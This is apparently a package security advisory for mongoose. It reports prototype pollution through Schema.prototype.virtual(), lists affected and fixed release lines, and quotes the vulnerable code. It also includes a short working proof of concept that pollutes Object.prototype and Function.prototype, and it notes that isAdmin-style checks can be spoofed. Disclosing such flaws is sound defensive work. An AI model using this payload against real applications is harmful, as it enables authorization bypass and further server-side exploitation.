Packages / mongoose / Security
Mongoose: Prototype pollution via Schema.prototype.virtual()
Affected releases · mongoose
- 9.x9.0.0 – 9.11.3Fixed in 9.11.4
- 8.x8.0.0 – 8.24.6Fixed in 8.24.7
- 7.x7.0.0 – 7.8.12Fixed in 7.8.13
- 6.x6.0.0 – 6.13.11Fixed in 6.13.12
- 5.x and older0.0.1 – 5.13.23No fix, no longer updated
On 9.x, the newest line:
npm install mongoose@9.11.4Every release on a timeline
Affected
9.0.0 – 9.11.3
48 releases
Fixed
9.11.4 – 9.12.3
5 releases
Affected
8.0.0 – 8.24.6
108 releases
Fixed
8.24.7 – 8.24.10
4 releases
Affected
7.0.0 – 7.8.12
58 releases
Fixed
7.8.13 – 7.8.14
2 releases
Affected
6.0.0 – 6.13.11
121 releases
Fixed
6.13.12 – 6.13.13
2 releases
Affected
5.0.0 – 5.13.23
255 releases
Affected
4.0.0 – 4.13.21
164 releases
Affected
3.0.0 – 3.9.7
104 releases
Affected
2.0.0 – 2.9.10
84 releases
Affected
1.0.0 – 1.8.4
64 releases
Affected
0.0.1 – 0.0.6
6 releases
What happens
Summary
Prototype pollution via Schema.prototype.virtual() — the 2022 fix for CVE-2022-2564 / CVE-2022-24304 protected Schema.path()/add() but never virtual(), so the same class of bug is still exploitable in all maintained release lines.
Details
In lib/schema.js, Schema.prototype.virtual() (defined at line 2643) builds the virtual path via:
virtuals[name] = parts.reduce(function(mem, part, i) {
mem[part] || (mem[part] = (i === parts.length - 1)
? new VirtualType(options, name)
: {});
return mem[part];
}, this.tree); // lines 2755-2759Unlike path()/add(), virtual() never received the specialProperties check added for CVE-2022-2564/CVE-2022-24304 (lib/schema.js lines 806, 1308, 1331).
A path containing __proto__/constructor/prototype segments resolves through the prototype chain and writes onto Object.prototype / Function.prototype.
Proof of concept
const mongoose = require('mongoose');
const schema = new mongoose.Schema({});
schema.virtual('__proto__.polluted');
console.log(({}).polluted); // VirtualType instance
console.log(Object.prototype.hasOwnProperty('polluted')); // true
console.log(Object.getOwnPropertyDescriptor(
Object.prototype, 'polluted').enumerable); // true
schema.virtual('constructor.prototype.opol');
console.log(({}).opol); // true
schema.virtual('hasOwnProperty.__proto__.fpol');
console.log((function(){}).fpol); // Function.prototype pollutedImpact
Attacker-influenced schema field names (dynamic schemas, CMS form builders, schema-as-code) allow pollution of Object.prototype (own, enumerable keys visible on every object — e.g. ({}).isAdmin checks can be spoofed) and Function.prototype (a known gadget primitive in server-side JS).
A whole project to check? Paste its package.json in the dependency check: every deprecated, outdated or vulnerable dependency, with what to upgrade to. Free, no account.